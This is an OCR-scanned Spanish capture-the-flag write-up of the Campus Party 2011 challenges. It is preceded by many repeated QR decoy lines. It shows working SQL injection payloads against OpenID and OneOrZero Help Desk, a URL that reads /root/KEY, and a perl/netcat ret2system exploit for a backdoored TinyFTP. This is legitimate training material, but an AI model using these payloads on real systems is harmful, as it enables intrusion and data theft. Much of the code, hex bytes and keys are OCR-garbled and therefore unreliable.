NO y NO es esta la clave, siguiente?

Este solo es un reto QR, encuentra la clave
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Este solo es un reto QR, encuentra la clave
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Estoy cansado, no encuentro la clave

Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Se trata de encontrar la clave

Sigue adelante, quizas la proxima sea la clave
Estoy cansado, no encuentro la clave

Esta NO es la clave, busca la siguiente

Esta tampoco es la clave

Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Esta NO es la clave, busca la siguiente

Lo siento, tampoco esta es la clave

Esta NO es la clave, busca la siguiente

Lo siento, tampoco esta es la clave

Estoy cansado, no encuentro la clave

Lo siento, tampoco esta es la clave

Se trata de encontrar la clave

Estoy cansado, no encuentro la clave

NO y NO es esta la clave, siguiente?
Aburrido?, ya casi lo tienes, esta no es la clave!
Esta NO es la clave, busca la siguiente

Sigue adelante, quizas la proxima sea la clave
Estoy cansado, no encuentro la clave

Esta NO es la clave, busca la siguiente

Se trata de encontrar la clave

Sigue adelante, quizas la proxima sea la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Esta NO es la clave, busca la siguiente

Lo siento, tampoco esta es la clave

Sigue adelante, quizas la proxima sea la clave
NO y NO es esta la clave, siguiente?

Este solo es un reto QR, encuentra la clave
NO y NO es esta la clave, siguiente?

NO y NO es esta la clave, siguiente?

NO y NO es esta la clave, siguiente?
Aburrido?, ya casi lo tienes, esta no es la clave!
Estoy cansado, no encuentro la clave

Estoy cansado, no encuentro la clave
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Aburrido?, ya casi lo tienes, esta no es la clave!
Esta NO es la clave, busca la siguiente

NO y NO es esta la clave, siguiente?

Se trata de encontrar la clave

NO y NO es esta la clave, siguiente?
http://Imgtfy.com/?q=cual+es+la+clave+%3F
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Este solo es un reto QR, encuentra la clave
Sigue adelante, quizas la proxima sea la clave



Se trata de encontrar la clave

Estoy cansado, no encuentro la clave

NO y NO es esta la clave, siguiente?

Esta tampoco es la clave

Esta tampoco es la clave

Sigue adelante, quizas la proxima sea la clave
Esta tampoco es la clave

Esta tampoco es la clave

Lo siento, tampoco esta es la clave

Estoy cansado, no encuentro la clave
http://Imgtfy.com/?q=cual+es+la+clave+%3F
Esta NO es la clave, busca la siguiente

Sin embargo hubo una respuesta que salio mal: >v|%~©E«T|

La imagen 26.png estaba reflejada, arreglandola y sacando el contenido del
QRCode se muestra el contenido:
RXNOYSBzaSBIczogT3Ryb1JIAGONYXNEZVFSUGFyYUNhbXB1c1BhcnR5, que al decodificar
con base64 resulta en una frase que contiene la llave:

Esta si es: OtroRetoMasDeQRParaCampusParty

Nivel 1 Reto 4 - wargame.reto
Descripcion del reto

ip->186.115.195.103

nombre de dominio -> wargame.reto
user: admin

passwd: admin

Pista Terminal

CTF-Campusparty2011:~S cat reto4-segundapista.txt
PistaZ: TXT
CTF-Campusparty2011:~

Como la segunda pista del reto dice TXT, lo cual es un tipo de record DNS, y en la descripcion
se habla de un nombre de dominio, se uso la herramienta nslookup para evaluar la existencia
de un servidor DNS en la ip indicada.

$ nslookup

> set type=any

> server 186.115.195.103

Default server: 186.115.195.103
Address: 186.115.195.103#53

> wargame.reto

Server: 186.115.195.103
Address: 186.115.195.103#53

wargame.reto
origin = wargame.reto



mail addr = root.wargame.reto
serial = 2
refresh = 604800
retry = 86400
expire = 2419200
minimum = 604800
wargame.reto nameserver = wargame.reto.
Name: wargame.reto
Address: 186.115.195.103
wargame.reto text = "nombre ipvé6: ipvé.wargame.reto"
> ipv6.wargame.reto
Server: 186.115.195.103
Address: 186.115.195.103#53

ipvé.wargame.reto has AAAA address 2800:680:1:d:a00:27ff:fea5:8949

EnlaIP 186.115.195.103 se descubrieron varios puertos abiertos:

Scanning wargame.reto (186.115.195.103) [1000 ports]
Discovered open port 21/tcp on 186.115.195.103
Discovered open port 53/tcp on 186.115.195.103
Discovered open port 445/tcp on 186.115.195.103
Discovered open port 111/tcp on 186.115.195.103
Discovered open port 139/tcp on 186.115.195.103
Discovered open port 22/tcp on 186.115.195.103

Mas el puerto 53 que corresponde al servicio DNS. En la IP 2800:680:1:d:a00:27ff:fea5:8949
aparte de los puertos mencionados se encontro el puerto 389 que corresponde al servicio de
LDAP.

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain
119/tcp filtered nntp

139/tcp open netbios-ssn
389/tcp open ldap

445/tcp open microsoft-ds

Con JXplorer y de forma anonima se obtuvo la estructura del directorio y los DN.Desde linux se
uso el comando Idapsearch de esta forma para obtener la llave:

ldapsearch -h 2800:680:1:d:a00:27ff:fea5:8949 -p 389 -x -
"cn=userflag,ou=flag,dc=wargame,dc=reto" -D "cn=admin,dc=wargame,dc=reto" -
w admin

o

extended LDIF

LDAPV3
base <cn=userflag,ou=flag,dc=wargame,dc=reto> with scope subtree
filter: (objectclass=*)

H oS S HE



# requesting: ALL
#

# userflag, flag, wargame.reto

dn: cn=userflag,ou=flag,dc=wargame,dc=reto

objectClass: person

objectClass: organizationalPerson

cn: userflag

sn: wargame

description: este es el usuario

userPassword:: elNIQX16V]jZuUES5XUGduK25qdT14bDdqdV1HeVpzdVk9

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

La llave para este reto es e1NIQX16VjZUUE5XUGduK25qdTI4bDdqdVIHeVpzdVk9

Nivel 2 - Reto 5 - OpenID

Descripcion
usuario@localhost.com
usuario123
50.19.187.17

Al acceder a la direccion http://50.19.187.17/ aparecia una plataforma web con un sistema
de inicio de sesion, al ingresar con el usuario y clave suministrados por la descripcion, no
sucede nada. Como se observa que el servidor da la posibilidad de iniciar sesion en el sistema
mediante el uso de openlD, se decidio por montar un proveedor de openlD, y crear la identidad
correspondiente al email usuario@localhost.com

Se desplego simpleid [3], el cual es un servidor que solo requiere soporte para php. Se creo
una identidad con el email usuario@localhost.com. Una vez se hizo esto aparecia el secreto:

Mi secreto es: Ser Feliz.

Luego de esto, mediante fuzzing en algumos campos de la identidad openlID, se encontro que
el valor del atributo de email no estaba siendo filtrado y era vulnerable a inyecciones SQL.

Se modifico el email de la identidad con el siguiente valor:



' union select group_ concat (column name) from information schema.columns
where table name = 'usuarios' group by table name --

Lo cual nos devolvia que el nombre de todas las columnas de la tabla usuarios. Una vez hecho
esto, se cambio el correo por

' union select concat (usuario, clave) from iusuarios limit 0,1 --

' union select concat (usuario, clave) from iusuarios limit 1,1 --

Y nos entrego el usuario y hash para los dos que estaban registrados en el sistema. El que nos
interesa es el usuario admin:

Usuario: admin
Hash: 7694f4a66316e53c8cdd9d9954bd611d

Usando Google se descubre que el valor que genera este hash md5 corresponde a 'q'.

Ahora volvemos a la pantalla inicial, e iniciamos sesion con estas credenciales, y vemos el
secreto de Admin:

So with those last thoughts, it's time to say bon voyage. Our planned 50 day cruise has expired,
and we must now sail into the distance, leaving behind - we hope - inspiration, fear, denial,
happiness, approval, disapproval, mockery, embarrassment, thoughtfulness, jealousy, hate,
even love.

Buscando en google podemos ver que estas frases pertenecen al documento liberado por
LulzSec anunciando su retiro. Despues de intentar varias cosas opciones de hash que
se encontraban alli, se opto por buscar informacion adicional en internet relacionada. Y
observamos que el titulo del documento es '50 days of Lulz' y esta es la llave del reto.

Nivel 2 Reto 6 - Cap’n Crunch

Pista
Cap’n Crunch

Archivos adjuntos
AAAAAAAAAAAAAAAAAAAAAAAAAAA.bin

Descargamos el archivo, lo identificamos y procedemos a extraerlo:

$ file AAAAAAAAAAAAAAAAAAAA.bin

AAAAAAAAAAAAAAAAAAAA.bin: gzip compressed data, from Unix, last modified: Sun Jun 12 18:14:22
2011

$ mv AAAAAAAAAAAAAAAAAAAA.bin AAAAAAAAAAAAAAAAAAAA.QZ



$ gzip -d AAAAAAAAAAAAAAAAAAAA.gZ

$ file AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA: POSIX tar archive
$ tar xvzf A"C

$ tar xvf AAAAAAAAAAAAAAAAAAAA

Aparecen 17 archivos los cuales estan comprimidos muchas veces usando bzip y gzip, de
manera intercalada. Creamos un bash script para que extraiga todos repitiendo los comandos
gzip -d *.gz y bzip2 -d *.bz2 muchas veces.

Una vez terminado concatenamos los archivos juntos y obtenemos un archivo WAV, el
cual esta invertido, se usa Audacity para invertirlo. EIl WAV tiene una conversacion, en la
cual aparecen sonidos de un telefono al final. Usando la pagina http:/www.dialabc.com/
sound/detect/ detectamos las teclas que presionan, las cuales son 7773386663327777999 y
corresponden a la clave del reto escrita en un celular mediante las teclas numericas, la clave es
‘retoeasy’.

Nivel 2 Reto 7 - Jar

Descripcion
No es tan dificil como parece

Adjuntos
6ba8b7ffd30a5e80c662072f040cf343

$ file 6ba8b7f£d30a5e80c662072£040cf343
6ba8b7f£fd30a5e80c662072f040cf343: gzip compressed data, from Unix, last modified: Sun Jun 26
20:55:58 2011

S tar xvf 6ba8b7f£fd30a5e80c662072£f040cf343.tar
usr/lib/libbusiness LoginLogic.so
opt/1lib/
opt/lib/swing-layout-1.0.4.jar
opt/CampusPartyJavaKeyGenerator.jar
usr/lib/lib2tiff.so.4
usr/lib/libthayy.so.0
usr/lib/libvorlbis.so.0
usr/lib/libggatag.so.1l
usr/lib/libsmimame3.so
usr/lib/lib2plc4.so

README. txt

Decompilamos el jar, y se puede ver que hace llamados a la libreria nativa
libbusiness_LoginLogic.so

private LoginLogic () throws UnsatisfiedLinkError, SecurityException {


http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/
http://www.dialabc.com/sound/detect/

System.loadLibrary ("business LoginLogic") ;

public int doLogin(String user, String psw) {
return doNativeValidation (user, psw);

Decompilando la libreria con IDA obtenemos la forma en la que valida el usuario y la
contrasefa

JNIEXPORT jint JNICALL Java business LoginLogic doNativeValidation (JNIEnv
*env, jobject jobj, Jjstring user, jstring password) {

char *fecha;

signed int result;

time t timer;

time (&timer) ;

fecha = ctime (&timer) ;

if (strcmp (user, "admin") || strcmp (password, fecha))
result = 0;

else
result = 987665421;

return result;

El usuario es admin y la contrasefia varia con el tiempo, lo importante en este punto es que al
ingresar un usuario y contrasena correcta el valor devuelto es 987665421.

El principal codigo en el jar decompilado se encuentra en la funcion getCampusPartyKey que
es la que retorna la clave para ingresar como llave de reto.

int seed = LoginLogic.getInstance () .doLogin (userName, passrode);
System.out.println ("MySeed=" + seed);
if (seed == 0) {

return "Invalid AUTH!!!";

Cuando la semilla es 0 retorna “Invalid AUTH!!!”, cuando la semilla es diferente a 0 calcula la
llave a partir de tres algoritmos de cifrado: TripleDES, SHA1 y MD5.

Lo que se hizo fue imitar la funcionalidad del JAR creando una clase KeyGeneratorLogic como
sigue a continuacion:

import java.io.*;

import java.util.*;

import java.security.MessageDigest;
import javax.crypto.Cipher;



import
import
import

public

javax.crypto.spec.SecretKeySpec;
sun.misc.BASE64Encoder;
javax.swing.JOptionPane;

class KeyGeneratorLogic {

public static void main(String[] args) throws Exception {

Calendar cal = Calendar.getInstance (TimeZone.getTimeZone ("GMT-5")) ;
JOptionPane.showInputDialog ("KEY", getCampusPartyKey (cal));

public static String getCampusPartyKey (Calendar cal) throws Exception ({

int seed = 987665421;

private

private

private

cal.set (6, 1657 + seed);
cal.set (11, 124 + seed);
cal.set (12, 4558 + seed);
cal.set (13, 12354 + seed);
cal.set (14, 548578 + seed);

long millis = cal.getTimeInMillis();

String varl = millis / 1258L + "";
String var2 = Math.log(millis) + "";
String var3 = Math.sqrt(millis) + "";

String var4 = varl.substring (0, varl.length() - 3) + var3;

String var5 = var4 + var3 + varl + var2;
int stop = cal.get(13);

String myText = "";

for (int 1 = 0; i < stop; i++) {
myText = new String (b (myText + wvar2));
myText = new String(c(myText + var3 + varl));
myText = myText + new String(a(var5.substring(0,

BASE64Encoder enc = new BASE64Encoder();
String answer = enc.encode (myText.getBytes());
return answer;

24),

myText)) ;

static byte[] a(String key, String plainText) throws Exception ({

byte[] seedKey = key.getBytes();

SecretKeySpec keySpec = new SecretKeySpec (seedKey, "TripleDES");

Cipher nCipher = Cipher.getInstance ("TripleDES");
nCipher.init (1, keySpec):;

byte[] cipherbyte = nCipher.doFinal (plainText.getBytes());

return cipherbyte;

static byte[] b(String plainText) throws Exception {
byte[] bytesOfMessage = plainText.getBytes ("UTF-8");
MessageDigest md = MessageDigest.getInstance ("MD5") ;
byte[] thedigest = md.digest (bytesOfMessage) ;

return thedigest;

static byte[] c(String plainText) throws Exception {
MessageDigest md = MessageDigest.getInstance ("SHA-1");
byte[] shalhash = new byte[40];



md.update (plainText.getBytes ("iso-8859-1"), 0, plainText.length());
shalhash = md.digest();
return shalhash;

}

Es importante que la zona horaria sea GMT-5 y que la clase sea ejecutada en un sistema
operativo Linux (Por cuestiones de codificacion, en Windows el resultado es diferente)

La llave para este reto es:
77+977+9RO+/VRIe77+977+914ZQY10+77+977+9RCIf77+977+9RO+/
vUbvv70qFRxUT8uh77+9 77+9RO+/NVTQOC1JWCECH77+977+9PO+/
VRzvv708L2Pvv73vv73KtH5b

Nivel 3 Reto 8 - Helpdesk

Descripcion

La KEY la tiene el root
184.72.155.53

Al ingresar a esta ip por http aparece

Si no encuentras la solucion, reportalo al helpdesk, seguramente encontraras la answer.

Por lo que ingresamos a:

http://184.72.155.53/helpdesk/

Y observamos un sistema de administracion de tareas opensource, lo identificamos
como OneOrZero Help Desk. Vamos a la pagina de los desarrolladores, vemos que esta
descontinuada y descargamos la aplicacion, debido a que la pagina decia que encontraramos
la answer, el primer archivo que se audito por fallas fue answer.php, se encontro una
vulnerabilidad SQL inyeccion, la cual nos permitia tambien leer archivos remotos del servidor,

como la pista decia que la KEY la tenia el root, procedemos a descargar el archivo /root/KEY:

http://184.72.155.53/helpdesk/answer.php?action=download&kid=-1 union select
1,2,3,Char(75,69,89),Char(47,114,111,111,116,47),6,7,8,9,10,11  --

Aqui podemos ver que la key para este reto es: ZeroDay2011

Nivel 3 Reto 9 - Pcap con EIf



Descripcion
a este administrador le gusta hacer las cosas a su modo, con sus errores!

Archivos adjuntos
c9c568e840f20b2e8021057b23¢89397

Descargamos e identificamos el archivo:

$ file c9c568e840f20b2e8021057b23¢c89397
c9c568e840f20b2e8021057b23¢c89397: tcpdump capture file (little-endian) - version 2.4 (Ethernet,
capture length 65535)

Una vez identificado el archivo como una captura tcpdump, se abre con wireshark y se analiza,
se observa la transferencia de archivos mediante protocolo de FTP, entre ellos un binario de
linux el cual al extraerlo y decompilarlo con IDA genera el resultado

int _ cdecl main()

{
size t vl; // eax@4
int v2; // eax@4
size t v3; // eax@4
char v4; // [sp+10h] [bp-1090h]@4
char v5; // [sp+74h] [bp-102Ch]@Q4
char v6; // [sp+874h] [bp-82Ch]@4
char v7; // [sp+C74h] [bp-42Ch]@Q4
char v8; // [sp+107Eh] [bp-22h]@1
char v9; // [sp+107Fh] [bp-21h]@1
char v10; // [sp+1080h] [bp-20h]@1
char v11l; // [sp+1081h] [bp-1Fh]@1
char v12; // [sp+1082h] [bp-1Eh]@1
char v13; // [sp+1083h] [bp-1Dh]@1
signed int v14; // [sp+1084h] [bp-1Ch]@1l
void *v15; // [sp+1088h] [bp-18h]@4
int v16; // [sp+108Ch] [bp-14h]@1l

v8 = 52;

v9 = 56;

v10 = 49;

v1ll = 55;

v1lz2 = 57;

v1l3 = 68;

v1ld = 6;

v16 = Abre Conexion Inet("172.16.11.111", "hkp");
if (vlie == 1)

{

puts ("No puedo establecer conexion con el servidor");

exit (-1);
}
printf ("Por favor escriba su clave para almacenar: ");
gets (&v6) ;
RC4_set key(&v7, v14, &v8);
vl = strlen(&ve6);

RC4 (&v7, v1, &vb6, &v5);

printf ("sin cifrar: *%s*\n", &vo6);
v2 = strlen(&v5);

v15 = base64 ((int) &v5, v2);



printf ("Base64 cifrado: *%s*\n", v15);

v3 = strlen((const char *)vl)5);
send (vl6, v15, v3, 0);
free(vl));

Lee Socket (vlé6, (int)&vd, 6);
printf ("Mensaje del servidor: %s\n", &vd);
return close(v1e6);

Hace uso de Base64 y RC4, la llave usada por RC4 se encuentra de la variable v8-v14 que
corresponde a 48179D

Casi al final de la captura, en el paquete 135, se muestra un base64: IvtitOr6fZIng5gmUtqu8w==
La idea es decodificar el base64 y descifrar el contenido con RC4 usando la clave encontrada
en el binario. Usando la herramienta CrypTool, decodificamos el base64 obteniendo la cadena:

—0e-Ju})'« &RU®S.

Usando la misma herramienta, en la opcion Cifrar/Descifrar, se usa el algoritmo simetrico
moderno RC4 usando una llave de 48 bits 34 38 31 37 39 44 para descifrar el contenido.

La llave para este reto es: millavem4ssegura
Nivel 4 Reto 10 - TinyFTP

Descripcion

186.115.195.84

Archivos adjuntos

Pista.zip

En el zip existia un archivo llamado IMAGEN.JPG, la cual se busco con la ayuda del motor
inverso de busqueda de imagenes Tineye.com, se vio que correspondia a un actor de una serie
llamado SPIKE. Debido a esto se penso en que era necesario usar la herramienta para network
fuzzing Spike.

Se hizo un scan de puertos de la ip entregada en la descripcion, con los siguientes hallazgos:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.5pl Debian 6 (protocol 2.0)

| ssh-hostkey: 1024 42:£9:5c:29:£9:94:40:37:4d:62:3e:90:b4:2d:1e:8b (DSA)
| 2048 82:8a:c2:e8:74:ed:30:2e:70:b3:1b:d5:61:6a:35:e6 (RSA)

111/tcp open rpcbind 2 (rpc #100000)

4567/tcp open tram?

40430/tcp open status 1 (rpc #100024)



Primero cuando el servidor ya empezo a funcionar, se pudo iniciar sesion como usuario
anonimo, listar los archivos y luego descargar el archivo de p300 usando el comando PORT y
una instancia de netcat para recibir la informacion:

220 Service ready for new user. (Welcome To Mighty-Pwn3R)

USER anonymous

331 Anonymous login okay, send your complete email as your password.
PASS blabla@00000.com

230 User logged in, proceed.

PORT X,X,X,X,X,X

200 Command okay.

LIST

150 File status okay; about to open data connection.

226 Closing data connection.

# nc -1 -p 56789

drwxr-xr-x 5 mighty-d users 4096 Jun 08 10:39 ..
drwxr-xr-x 3 mighty-d users 4096 Jun 14 10:04 .
—“rwWw-r—-r-- 1 mighty-d users 590 Jun 14 10:04 p300

Entonces se descarga el archivo p300, con el comando RETR y poniendo a escuchar el netcat
nuevamente

nc -1 -p 56789 > p300

Analizando el p300 con file se obtiene:

# file p300
p300: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

Al ejecutarlo:

./p300 -h
Welcome to Mighty-pwn3r server system
By Mighty-D for Campus Party!
Usage: p300 [OPTIONS]
-h,
Display p300 help

Daemonize after startup
-s [address],
Set the server address

-p [port],
Set the server port
-1 [limit],
Limit to "[limit]" concurrent connections

-u [userid],
Do filesystem operations as "[userid]"
-c [directory],



Default directory

Analizando el archivo se puede ver que es un binario modificado de TinyFTP, Comparando las
funciones mediante IDA, se puede ver que el metodo para parsear fue modificado, y se puso un
backdoor en el comando HELP, que se puede usar antes de estar autenticado, el cual despues
de hacer algunas verificaciones llamaba a la funcion pwn:

mov rax, [rbp+var_50]
call rax ; Indirect Call Near Procedure
jmp loc_405093 ; Jump

Aqui se movia parte del contenido que se pasaba como parametro al comando HELP, al
registro RAX, y luego se llamaba mediante call rax.

En el sistema Archlinux x86_64 donde fue probado con el siguiente comando se pudo lograr
ejecucion remota:

perl -e 'print "HELP " . "(" x 10 . ")" x 10 . "x3b\x73\x68\x3b" .
"A" x 32 . "x31\x03\xac\xf7\xfix7f" . "\n™ | nc -vv localhost 5555

Para Debian 6 amd64 bits, sistema identificado como el que contenia el p300
backdoreado mediante nmap, el comando deberia ser:

perl -e 'print "HELP " . "(" x 10 . ")" x 10 . "\x3b\x73\x68\x3b" .
"A" x 32 . "\x81\xc5\xab\xf7\xfix7f" . "\n™ | nc -vv localhost 5555

El retorno a system se identifico de la siguiente forma

(gdb) b main

Breakpoint 1 at 0x401308

(gdb) r -s 0.0.0.0 -p 5555

Starting program: /home/beford/p300 -s 0.0.0.0 -p 5555
Breakpoint 1, 0x0000000000401308 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x7ffff7abc580 <system>



